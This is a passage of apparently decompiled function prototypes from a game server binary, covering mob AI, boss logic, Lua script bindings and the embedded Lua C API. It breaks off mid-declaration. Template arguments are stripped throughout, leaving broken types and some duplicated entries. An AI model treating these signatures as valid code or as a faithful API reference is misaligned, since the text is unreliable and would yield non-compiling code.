std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall BossFieldContent::ServentBuffBossTable::sbbt_TimerReset(BossFieldContent::ServentBuffBossTable *this); void __cdecl ShineObjectClass::ShineMobileObject::smo_BossAbstateSet(); int __thiscall ShineObjectClass::ShineMob::sm_BossAbstateGet(void *this); void __thiscall ShineObjectClass::ShineObject::so_AITraining(void *this, int a2); signed __int16 __cdecl ShineObjectClass::ShineObject::so_mob_CurrentTarget(); __int16 __thiscall ShineObjectClass::ShineMob::so_mob_CurrentTarget(void *this); char __thiscall ShineObjectClass::ShineObject::so_mob_SkillRegistAtScript(#593 *this, #593 *, unsigned __int16); char __thiscall ShineObjectClass::ShineMob::so_mob_SkillRegistAtScript(#593 *, unsigned __int16); char __thiscall ShineObjectClass::ShineMob::so_mob_ParamSetAtScript(void *this, int flag, int param); char __thiscall ShineObjectClass::ShineObject::so_mob_SkillBlastAtScript(#593 *this, #593 *, unsigned __int16); char __thiscall ShineObjectClass::ShineMob::so_mob_SkillBlastAtScript(#593 *, unsigned __int16); char __stdcall ShineObjectClass::ShineObject::so_mob_SkillParameterSet(__int16 skl); char __thiscall ShineObjectClass::ShineMob::so_mob_SkillParameterSet(void *this, __int16 skl); char __stdcall ShineObjectClass::ShineObject::so_mob_SkillParameterSetAtScript(int param); char __thiscall ShineObjectClass::ShineMob::so_mob_SkillParameterSetAtScript(void *this, int param); int __thiscall MobTargetSelector::mts_StoreAggroList(MobTargetSelector *this, std::vector > *enemylist); void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this); ABSTATEINDEX *__cdecl std::copy(ABSTATEINDEX *_First, ABSTATEINDEX *_Last, ABSTATEINDEX *_Dest); int std::_Tree_std::allocator_0>>::_Buynode(...); int std::_Tree_std::allocator_0>>::_Buynode(...); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this); void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode); void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode); int __stdcall std::vector>::_Ucopy(char *src, int a2, char *dst); void __cdecl std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>(std::list,std::allocator > >::iterator *_First, unsigned int _Count, std::list,std::allocator > >::iterator *_Val, std::allocator,std::allocator > >::iterator> *_Al, std::_Nonscalar_ptr_iterator_tag __formal); int __thiscall BossFieldContent::MobAbstateCheckAtDead::macad_AbstateCheck(BossFieldContent::MobAbstateCheckAtDead *this, List *lst); int std::_Tree_std::allocator_0>>::find(...); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, BossFieldContent::MobAutomaticAction *_Keyval); std::list,std::allocator > >::iterator *__thiscall std::vector>::_Ucopy(std::allocator,std::allocator > >::iterator> *_Al, std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *__formal); BossFieldContent::ServentBuffBossTable::ServentBossTable *__thiscall BossFieldContent::ServentBuffBossTable::sbbt_FindBuffer(BossFieldContent::ServentBuffBossTable *this, unsigned __int16 ID); void __thiscall ShineObjectClass::ShineMob::sm_IBuffToBuffee(void *this); BossFieldContent::MobAbstateCheckAtDead *__thiscall BossFieldContent::ListOfMobStateCheckAtDead::operator__(BossFieldContent::ListOfMobStateCheckAtDead *this, unsigned __int16 mobid); void __thiscall ShineObjectClass::ShineMob::smo_BossAbstateSet(void *this); void __thiscall BossFieldContent::MobAutomaticActionList::maal_MobDamaged(BossFieldContent::MobAutomaticActionList *this, unsigned __int16 mobid, #593 *attacker); signed int __stdcall ShineObjectClass::ShineObject::so_mob_GetAggroList(int enemylist); signed int __thiscall ShineObjectClass::ShineMob::so_mob_GetAggroList(void *this, int enemylist); int std::_Tree_std::allocator_0>>::_Insert(...); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, BossFieldContent::MobAutomaticAction *_Val); void __thiscall std::vector>::_Xlen(std::vector > *this); int std::_Tree_std::allocator_0>>::erase(...); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where); void __thiscall ShineObjectClass::ShineObject::so_AILearn(void *this, int aiscr); void __thiscall ShineObjectClass::ShineMob::so_AILearn(void *this, int aiscr); int std::_Tree_std::allocator_0>>::insert(...); std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, BossFieldContent::MobAutomaticAction *_Val); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, const int *_Val); int std::_Tree_std::allocator_0>>::erase(...); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ABSTATEINDEX *_Val); int std::_Tree_std::allocator_0>>::erase(...); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); // void __usercall _L181019(int a1); void *__thiscall std::vector>::operator_(void *this, int __formal); void __thiscall BossFieldContent::ServentBuffBossTable::sbbt_Load(BossFieldContent::ServentBuffBossTable *this); void __thiscall BossFieldContent::MobAutomaticActionList::maal_Load(BossFieldContent::MobAutomaticActionList *this); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, int _Val); BossFieldContent::MobAbstateCheckAtDead *__cdecl std::_Copy_backward_opt(BossFieldContent::MobAbstateCheckAtDead *_First, BossFieldContent::MobAbstateCheckAtDead *_Last, BossFieldContent::MobAbstateCheckAtDead *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall std::vector>::push_back(std::vector > *this, ABSTATEINDEX *_Val); void __cdecl std::fill(BossFieldContent::MobAbstateCheckAtDead *_First, BossFieldContent::MobAbstateCheckAtDead *_Last, BossFieldContent::MobAbstateCheckAtDead *_Val); BossFieldContent::MobAbstateCheckAtDead *__cdecl std::_Uninit_copy>(BossFieldContent::MobAbstateCheckAtDead *_First, BossFieldContent::MobAbstateCheckAtDead *_Last, BossFieldContent::MobAbstateCheckAtDead *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall BossFieldContent::ServentBuffBossTable::_ServentBuffBossTable(BossFieldContent::ServentBuffBossTable *this); void __thiscall BossFieldContent::MobAbstateCheckAtDead::macad_PushBack(BossFieldContent::MobAbstateCheckAtDead *this, ABSTATEINDEX idx, StateDropType dt); void __thiscall BossFieldContent::MobAutomaticActionList::_MobAutomaticActionList(BossFieldContent::MobAutomaticActionList *this); int __thiscall MobTargetBout::mts_StoreAggroList(MobTargetBout *this, std::vector > *enemylist); void __cdecl std::_Uninit_fill_n>(BossFieldContent::MobAbstateCheckAtDead *_First, unsigned int _Count, BossFieldContent::MobAbstateCheckAtDead *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall BossFieldContent::ServentBuffBossTable::ServentBuffBossTable(BossFieldContent::ServentBuffBossTable *this); void __thiscall BossFieldContent::MobAutomaticActionList::MobAutomaticActionList(BossFieldContent::MobAutomaticActionList *this); BossFieldContent::MobAbstateCheckAtDead *__thiscall std::vector>::_Ufill(std::vector > *this, BossFieldContent::MobAbstateCheckAtDead *_Ptr, unsigned int _Count, BossFieldContent::MobAbstateCheckAtDead *_Val); void __thiscall std::vector>::_Destroy(std::vector > *this, ItemRandomOption::OptionTable *_First, ItemRandomOption::OptionTable *_Last); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, BossFieldContent::MobAbstateCheckAtDead *_Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, BossFieldContent::MobAbstateCheckAtDead *_Val); void __thiscall KQContribute::KQContributeList::_KQContributeList(KQContribute::KQContributeList *this); void __thiscall std::vector>::push_back(std::vector > *this, BossFieldContent::MobAbstateCheckAtDead *_Val); void __thiscall BossFieldContent::ListOfMobStateCheckAtDead::ListOfMobStateCheckAtDead(BossFieldContent::ListOfMobStateCheckAtDead *this); void __thiscall BossFieldContent::ListOfMobStateCheckAtDead::_ListOfMobStateCheckAtDead(BossFieldContent::ListOfMobStateCheckAtDead *this); void __thiscall BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load(BossFieldContent::ListOfMobStateCheckAtDead *this); int __cdecl cpp_Print(lua_State *L); int __cdecl cpp_RegCheck(lua_State *L); int __cdecl cpp_CurrentTime(lua_State *L); void __thiscall LuaScriptObserver::LuaScriptObserver(LuaScriptObserver *this); void __thiscall LuaScriptObserver::operator_(LuaScriptObserver *this, #734 *sp); char __thiscall LuaScriptObserver::lso_Send(LuaScriptObserver *this, char *msg, char *arg); // void __thiscall LuaScript::LuaScript(LuaScript *this); void __thiscall AxialListNPCSearch::_AxialListNPCSearch(AxialListNPCSearch *this); void __thiscall AxialQuesterFind::_AxialQuesterFind(AxialQuesterFind *this); int __cdecl cAssertLog(lua_State *L); int __cdecl cInvenItemDestroy(lua_State *L); void __thiscall AxialListKQEndLua::AxialListKQEndLua(AxialListKQEndLua *this, int department, int command); void __thiscall AxialListKQEndLua::_AxialListKQEndLua(AxialListKQEndLua *this); void __thiscall AxialListMobIndexVanish::_AxialListMobIndexVanish(AxialListMobIndexVanish *this); void __thiscall AxialListEnemyInAray::_AxialListEnemyInAray(AxialListEnemyInAray *this); bool __thiscall LuaScript::ls_FromFile(LuaScript *this, char *filename); bool __thiscall LuaScript::ls_FromString(LuaScript *this, const char *code); void __thiscall LuaScriptArgument::LuaArgumentDefault::lad_ReturnSet(LuaScriptArgument::LuaArgumentDefault *this, lua_State *L); void __thiscall LuaScriptArgument::LuaArgumentInstanceDungeon::LuaArgumentInstanceDungeon(LuaScriptArgument::LuaArgumentInstanceDungeon *this, #1265 *fld); int __thiscall LuaScriptArgument::LuaArgumentInstanceDungeon::lad_ArgumentSet(LuaScriptArgument::LuaArgumentInstanceDungeon *this, lua_State *L); void __thiscall LuaScriptArgument::LuaArgumentFuncExec::LuaArgumentFuncExec(LuaScriptArgument::LuaArgumentFuncExec *this, char *arg); int __thiscall LuaScriptArgument::LuaArgumentFuncExec::lad_ArgumentSet(LuaScriptArgument::LuaArgumentFuncExec *this, lua_State *L); void __thiscall LuaScriptArgument::LuaArgumentMobAI::LuaArgumentMobAI(LuaScriptArgument::LuaArgumentMobAI *this, unsigned __int16 host, #1265 *fm); int __thiscall LuaScriptArgument::LuaArgumentMobAI::lad_ArgumentSet(LuaScriptArgument::LuaArgumentMobAI *this, lua_State *L); void __thiscall LuaScriptArgument::LuaArgumentNPCClick::LuaArgumentNPCClick(LuaScriptArgument::LuaArgumentNPCClick *this, #593 *, #734 *, char *); int __thiscall LuaScriptArgument::LuaArgumentNPCClick::lad_ArgumentSet(LuaScriptArgument::LuaArgumentNPCClick *this, lua_State *L); void __thiscall LuaScriptArgument::LuaArgumentItemUse::LuaArgumentItemUse(LuaScriptArgument::LuaArgumentItemUse *this, #593 *, #734 *, unsigned __int16); int __thiscall LuaScriptArgument::LuaArgumentItemUse::lad_ArgumentSet(LuaScriptArgument::LuaArgumentItemUse *this, lua_State *L); void __thiscall LuaScriptArgument::LuaArgumentNPCMenu::LuaArgumentNPCMenu(LuaScriptArgument::LuaArgumentNPCMenu *this, #593 *, #734 *, char); void __thiscall LuaScriptArgument::LuaArgumentNPCMenu::_LuaArgumentNPCMenu(LuaScriptArgument::LuaArgumentNPCMenu *this); int __thiscall LuaScriptArgument::LuaArgumentNPCMenu::lad_ArgumentSet(LuaScriptArgument::LuaArgumentNPCMenu *this, lua_State *L); bool __thiscall LuaScript::ls_FunctionCall(LuaScript *this, const char *funcname, LuaScriptArgument::LuaArgumentDefault *luaarg); unsigned int __thiscall std::vector>::size(std::vector > *this); void __cdecl std::fill(LuaFuncTrigger::TriggerUseItem *_First, LuaFuncTrigger::TriggerUseItem *_Last, LuaFuncTrigger::TriggerUseItem *_Val); bool __thiscall LuaScriptSecurity::ls_FuncSet(LuaScriptSecurity *this); void __thiscall LuaScriptScenario::LuaScriptScenario(LuaScriptScenario *this); void __thiscall LuaScriptScenario::_LuaScriptScenario(LuaScriptScenario *this); char __cdecl cLuaBroadcast(#593 *, unsigned __int16, ProtocolPacket *, int); int __cdecl tonumber(lua_State *L); int __cdecl cExecCheck(lua_State *L); int __cdecl cDebugLog(lua_State *L); int __cdecl cMobRegen_XY(lua_State *L); int __cdecl cMobRegen_Obj(lua_State *L); int __cdecl cDistanceSquar(lua_State *L); int __cdecl cPlayerExist(lua_State *L); int __cdecl cNPCVanish(lua_State *L); int __cdecl cCurSec(lua_State *L); int __cdecl cCurrentSecond(lua_State *L); void __thiscall AxialListNPCSearch::AxialListNPCSearch(AxialListNPCSearch *this, const char *name, unsigned __int16 *handle); char __thiscall AxialListNPCSearch::ali_Work(AxialListNPCSearch *this, #593 *, #593 *, unsigned int); int __cdecl cGetNPCHandle(lua_State *L); void __thiscall AxialQuesterFind::AxialQuesterFind(AxialQuesterFind *this, unsigned int qid, unsigned __int16 *handle, unsigned __int16 *prt); char __thiscall AxialQuesterFind::ali_Work(AxialQuesterFind *this, #593 *, #593 *, unsigned int); int __cdecl cGetQuestHero_NPC(lua_State *L); int __cdecl cGetQuestHero_ItemUse(lua_State *L); int __cdecl cGetPlayerName(lua_State *L); int __cdecl cAggroSet(lua_State *L); int __cdecl cIsObjectDead(lua_State *L); int __cdecl cObjectHP(lua_State *L); int __cdecl cSetAbstate(lua_State *L); int __cdecl cDropItem(lua_State *L); int __cdecl cObjectLocate(lua_State *L); int __cdecl cRunTo(lua_State *L); int __cdecl cPermileRate(lua_State *L); int __cdecl cIsMovable(lua_State *L); int __cdecl cServerMenu(lua_State *L); int __cdecl cGetItemLot(lua_State *L); int __cdecl cSetNPCIsItemDrop(lua_State *L); int __cdecl cSetNPCResist(lua_State *L); int __cdecl cNPCChatTest(lua_State *L); int __cdecl cMobDialog(lua_State *L); int __cdecl cMobDialog_Obj(lua_State *L); int __cdecl cMobShout(lua_State *L); int __cdecl cCameraMove(lua_State *L); int __cdecl cSetAIScript(lua_State *L); int __cdecl cFollow(lua_State *L); int __cdecl cDoorBuild(lua_State *L); int __cdecl cDoorAction(lua_State *L); int __cdecl cGetAreaObject(lua_State *L); int __cdecl cScriptMessage(lua_State *L); int __cdecl cNPCMenuOpen(lua_State *L); int __cdecl cCastingBar(lua_State *L); int __cdecl cTimer(lua_State *L); int __cdecl cTimer_Obj(lua_State *L); int __cdecl cAnimate(lua_State *L); int __cdecl cGroupRegenInstance(lua_State *L); int __cdecl cLinkTo(lua_State *L); int __cdecl cSetDeadDelayTime(lua_State *L); int __cdecl cGetAroundCoord(lua_State *L); int sub_5A5345(); // weak int __cdecl cGetDirect(lua_State *L); int __cdecl cHeal(lua_State *L); int __cdecl cSetFieldPKType(lua_State *L); int __cdecl cMobRegen_Circle(lua_State *L); int __cdecl cIsEquipItem(lua_State *L); int __cdecl cMobChat(lua_State *L); int __cdecl cObjectCount(lua_State *L); int __cdecl cMobSuicide(lua_State *L); char __thiscall AxialListKQEndLua::ali_Work(AxialListKQEndLua *this, #593 *, #593 *, unsigned int); int __cdecl cQuestResult(lua_State *L); int __cdecl cRandomInt(lua_State *L); int __cdecl cMobIDFind(lua_State *L); int __cdecl cAIScriptSet(lua_State *L); int __cdecl cResetAbstate(lua_State *L); int __cdecl cIsInMap(lua_State *L); int __cdecl cTargetHandle(lua_State *L); int __cdecl cNPCSkillUse(lua_State *L); int __cdecl cAbstateRestTime(lua_State *L); int __cdecl cMessage(lua_State *L); int __cdecl cNPCChat(lua_State *L); int __cdecl cGroupRegen(lua_State *L); int __cdecl cRegenGroupActiv(lua_State *L); void __thiscall AxialListMobIndexVanish::AxialListMobIndexVanish(AxialListMobIndexVanish *this, const char *mobindex, int *number); char __thiscall AxialListMobIndexVanish::ali_Work(AxialListMobIndexVanish *this, #593 *, #593 *, unsigned int); int __cdecl cVanishAll(lua_State *L); int __cdecl cSetNPCParam(lua_State *L); int __cdecl cObjectType(lua_State *L); int __cdecl cAIScriptFunc(lua_State *L); int __cdecl cSkillBlast(lua_State *L); int __cdecl cEffectRegen_XY(lua_State *L); char __thiscall AxialListEnemyInAray::alns_ValidObject(AxialListEnemyInAray *this, #593 *obj); int __cdecl cGetTargetList(lua_State *L); int __cdecl cDamaged(lua_State *L); int __cdecl cSkillDamageCalculate(lua_State *L); int __cdecl cMagicFieldSpread(lua_State *L); LuaFuncTrigger::TriggerUseItem *__cdecl std::copy_backward(LuaFuncTrigger::TriggerUseItem *_First, LuaFuncTrigger::TriggerUseItem *_Last, LuaFuncTrigger::TriggerUseItem *_Dest); LuaFuncTrigger::TriggerUseItem *__cdecl std::_Uninit_copy>(LuaFuncTrigger::TriggerUseItem *_First, LuaFuncTrigger::TriggerUseItem *_Last, LuaFuncTrigger::TriggerUseItem *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(LuaFuncTrigger::TriggerUseItem *_First, unsigned int _Count, LuaFuncTrigger::TriggerUseItem *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall AxialListObjectCollect::_AxialListObjectCollect(AxialListObjectCollect *this); void __thiscall AxialListPlayerList::_AxialListPlayerList(AxialListPlayerList *this); void __thiscall AxialListAreaObjectList::_AxialListAreaObjectList(AxialListAreaObjectList *this); LuaFuncTrigger::TriggerUseItem *__thiscall std::vector>::_Ufill(std::vector > *this, LuaFuncTrigger::TriggerUseItem *_Ptr, unsigned int _Count, LuaFuncTrigger::TriggerUseItem *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, LuaFuncTrigger::TriggerUseItem *_Val); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); // void __usercall _L190705(int a1); void *__thiscall std::vector>::operator_(void *this, int a2); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, LuaFuncTrigger::TriggerUseItem *_Val); void __thiscall AxialListObjectCollect::AxialListObjectCollect(AxialListObjectCollect *this); void __thiscall AxialListPlayerList::AxialListPlayerList(AxialListPlayerList *this); std::vector > *__thiscall AxialListPlayerList::alpl_GetList(AxialListPlayerList *this, std::vector > *result); int __cdecl cGetPlayerList(lua_State *L); void __thiscall AxialListAreaObjectList::AxialListAreaObjectList(AxialListAreaObjectList *this, #1265 *, Name8 *, char); std::vector > *__thiscall AxialListAreaObjectList::alaol_GetList(AxialListAreaObjectList *this, std::vector > *result); int __cdecl cGetAreaObjectList(lua_State *L); int __cdecl cAggroList(lua_State *L); void __thiscall std::vector>::push_back(std::vector > *this, LuaFuncTrigger::TriggerUseItem *_Val); char __thiscall AxialListObjectCollect::ali_Work(AxialListObjectCollect *this, #593 *, #593 *, unsigned int); int __cdecl cObjectFind(lua_State *L); int __cdecl cTriggerRegist(lua_State *L); char __thiscall AxialListPlayerList::ali_Work(AxialListPlayerList *this, #593 *, #593 *, unsigned int); char __thiscall AxialListAreaObjectList::ali_Work(AxialListAreaObjectList *this, #593 *, #593 *, unsigned int); bool __thiscall LuaScriptScenario::ls_FuncSet(LuaScriptScenario *this); // lua_TValue *__usercall index2addr(lua_State *L, int idx); void __cdecl growstack(lua_State *L, void *ud); int __cdecl lua_checkstack(lua_State *L, int size); void __cdecl lua_xmove(lua_State *from, lua_State *to, int n); int (__cdecl *__cdecl lua_atpanic(lua_State *L, int (__cdecl *panicf)(lua_State *)))(lua_State *); const long double *__cdecl lua_version(lua_State *L); int __cdecl lua_absindex(lua_State *L, int idx); int __cdecl lua_gettop(lua_State *L); void __cdecl lua_settop(lua_State *L, int idx); void __cdecl lua_remove(lua_State *L, int idx); void __cdecl lua_insert(lua_State *L, int idx); // void __usercall moveto(lua_State *L, lua_TValue *fr, int idx); void __cdecl lua_replace(lua_State *L, int idx); void __cdecl lua_copy(lua_State *L, int fromidx, int toidx); void __cdecl lua_pushvalue(lua_State *L, int idx); int __cdecl lua_type(lua_State *L, int idx); const char *__cdecl lua_typename(lua_State *L, int t); int __cdecl lua_iscfunction(lua_State *L, int idx); int __cdecl lua_isnumber(lua_State *L, int idx); int __cdecl lua_isstring(lua_State *L, int idx); int __cdecl lua_rawequal(lua_State *L, int index1, int index2); int __cdecl lua_compare(lua_State *L, int index1, int index2, int op); long double __cdecl lua_tonumberx(lua_State *L, int idx, int *isnum); int __cdecl lua_tointegerx(lua_State *L, int idx, int *isnum); unsigned int __cdecl lua_tounsignedx(lua_State *L, int idx, int *isnum); int __cdecl lua_toboolean(lua_State *L, int idx); const char *__cdecl lua_tolstring(lua_State *L, int idx, unsigned int *len); unsigned int __cdecl lua_rawlen(lua_State *L, int idx); void *__cdecl lua_touserdata(lua_State *L, int idx); lua_State *__cdecl lua_tothread(lua_State *L, int idx); const void *__cdecl lua_topointer(lua_State *L, int idx); void __cdecl lua_pushnil(lua_State *L); void __cdecl lua_pushnumber(lua_State *L, long double n); void __cdecl lua_pushinteger(lua_State *L, int n); void __cdecl lua_pushunsigned(lua_State *L, unsigned int u); const char *__cdecl lua_pushlstring(lua_State *L, const char *s, unsigned int len); const char *__cdecl lua_pushstring(lua_State *L, const char *s); const char *__cdecl lua_pushvfstring(lua_State *L, const char *fmt, char *argp); const char *__cdecl lua_pushfstring(lua_State *L, const char *fmt); void __cdecl lua_pushcclosure(lua_State *L, int (__cdecl *fn)(lua_State *), int n); void __cdecl lua_pushboolean(lua_State *L, int b); void __cdecl lua_pushlightuserdata(lua_State *L, void *p); int __cdecl lua_pushthread(lua_State *L); void __cdecl lua_getglobal(lua_State *L, const char *var); void __cdecl lua_gettable(lua_State *L, int idx); void __cdecl lua_getfield(lua_State *L, int idx, const char *k); void __cdecl lua_rawget(lua_State *L, int idx); void __cdecl lua_rawgeti(lua_State *L, int idx, int n); void __cdecl lua_createtable(lua_State *L, int narray, int nrec); int __cdecl lua_getmetatable(lua_State *L, int objindex); void __cdecl lua_getuservalue(lua_State *L, int idx); void __cdecl lua_setglobal(lua_State *L, const char *var); void __cdecl lua_setfield(lua_State *L, int idx, const char *k); void __cdecl lua_rawset(lua_State *L, int idx); void __cdecl lua_rawseti(lua_State *L, int idx, int n); int __cdecl lua_setmetatable(lua_State *L, int objindex); void __cdecl lua_setuservalue(lua_State *L, int idx); int __cdecl lua_getctx(lua_State *L, int *ctx); void __cdecl lua_callk(lua_State *L, int nargs, int nresults, int ctx, int (__cdecl *k)(lua_State *)); void __cdecl f_call(lua_State *L, void *ud); int __cdecl lua_pcallk(lua_State *L, int nargs, int nresults, int errfunc, int ctx, int (__cdecl *k)(lua_State *)); int __cdecl lua_load(lua_State *L, const char *(__cdecl *reader)(lua_State *, void *, unsigned int *), void *data, const char *chunkname, const char *mode); int __cdecl lua_dump(lua_State *L, int (__cdecl *writer)(lua_State *, const void *, unsigned int, void *), void *data); int __cdecl lua_status(lua_State *L); int __cdecl lua_gc(lua_State *L, int what, int data); int __cdecl lua_error(lua_State *L); int __cdecl lua_next(lua_State *L, int idx); void __cdecl lua_concat(lua_State *L, int n); void __cdecl lua_len(lua_State *L, int idx); void *__cdecl lua_newuserdata(lua_State *L, unsigned int size); // const char *__usercall aux_upvalue(lua_TValue *fi, int n, lua_TValue **val, GCObject **owner); const char *__cdecl lua_getupvalue(lua_State *L, int funcindex, int n); const char *__cdecl lua_setupvalue(lua_State *L, int funcindex, int n); void *__cdecl lua_upvalueid(lua_State *L, int fidx, int n); void __cdecl lua_upvaluejoin(lua_State *L, int fidx1, int n1, int fidx2, int n2); int __cdecl findfield(lua_State *L, int objidx, int level); // int __usercall pushglobalfuncname(lua_State *L, lua_Debug *ar); // void __usercall pushfuncname(lua_State *L, lua_Debug *ar); int __cdecl countlevels(lua_State *L); void __cdecl luaL_traceback(lua_State *L, lua_State *L1, const char *msg, int level); void __cdecl luaL_where(lua_State *L, int level); int __cdecl luaL_error(lua_State *L, const char *fmt); int __cdecl luaL_fileresult(lua_State *L, int stat, const char *fname); int __cdecl luaL_execresult(lua_State *L, int stat); int __cdecl luaL_newmetatable(lua_State *L, const char *tname); void __cdecl luaL_setmetatable(lua_State *L, const char *tname); void *__cdecl luaL_testudata(lua_State *L, int ud, const char *tname); void __cdecl luaL_checkstack(lua_State *L, int space, const char *msg); char *__cdecl luaL_prepbuffsize(luaL_Buffer *B, unsigned int sz); void __cdecl luaL_addlstring(luaL_Buffer *B, const char *s, unsigned int l); void __cdecl luaL_addstring(luaL_Buffer *B, const char *s); void __cdecl luaL_pushresult(luaL_Buffer *B); void __cdecl luaL_pushresultsize(luaL_Buffer *B, unsigned int sz); void __cdecl luaL_addvalue(luaL_Buffer *B); void __cdecl luaL_buffinit(lua_State *L, luaL_Buffer *B); char *__cdecl luaL_buffinitsize(lua_State *L, luaL_Buffer *B, unsigned int sz); const char *__cdecl getF(lua_State *L, void *ud, unsigned int *size); // int __usercall errfile(lua_State *L, const char *what, int fnameindex); // int __usercall skipBOM(LoadF *lf); // int __usercall skipcomment(LoadF *lf, int *cp); int __cdecl luaL_loadfilex(lua_State *L, const char *filename, const char *mode); const char *__cdecl getS(lua_State *L, void *ud, unsigned int *size); int __cdecl luaL_loadbufferx(lua_State *L, const char *buff, unsigned int size, const char *name, const char *mode); int __cdecl luaL_loadstring(lua_State *L, const char *s); int __cdecl luaL_getmetafield(lua_State *L, int obj, const char *event); int __cdecl luaL_len(lua_State *L, int idx); const char *__cdecl luaL_tolstring(lua_State *L, int idx, unsigned int *len); int __cdecl luaL_getsubtable(lua_State *L, int idx, const char *fname); void __cdecl luaL_requiref(lua_State *L, const char *modname, int (__cdecl *openf)(lua_State *), int glb); const char *__cdecl luaL_gsub(lua_State *L, const char *s, const char *p, const char *r); void *__cdecl l_alloc(void *ud, void *ptr, unsigned int osize, unsigned int nsize); int __cdecl panic(lua_State *L); lua_State *__cdecl luaL_newstate(); void __cdecl luaL_checkversion_(lua_State *L, long double ver); int __cdecl luaL_argerror(lua_State *L, int narg, const char *extramsg); void *__cdecl luaL_checkudata(lua_State *L, int ud, const char *tname); void __cdecl luaL_checktype(lua_State *L, int narg, int t); void __cdecl luaL_checkany(lua_State *L, int narg); const char *__cdecl luaL_checklstring(lua_State *L, int narg, unsigned int *len); const char *__cdecl luaL_optlstring(lua_State *L, int narg, const char *def, unsigned int *len); long double __cdecl luaL_checknumber(lua_State *L, int narg); long double __cdecl luaL_optnumber(lua_State *L, int narg, long double def); int __cdecl luaL_checkinteger(lua_State *L, int narg); unsigned int __cdecl luaL_checkunsigned(lua_State *L, int narg); int __cdecl luaL_optinteger(lua_State *L, int narg, int def); void __cdecl luaL_setfuncs(lua_State *L, luaL_Reg *l, int nup); int __cdecl luaL_checkoption(lua_State *L, int narg, const char *def, const char *const *lst); int __cdecl luaB_print(lua_State *L); int __cdecl luaB_tonumber(lua_State *L); int __cdecl luaB_error(lua_State *L); int __cdecl luaB_getmetatable(lua_State *L); int __cdecl 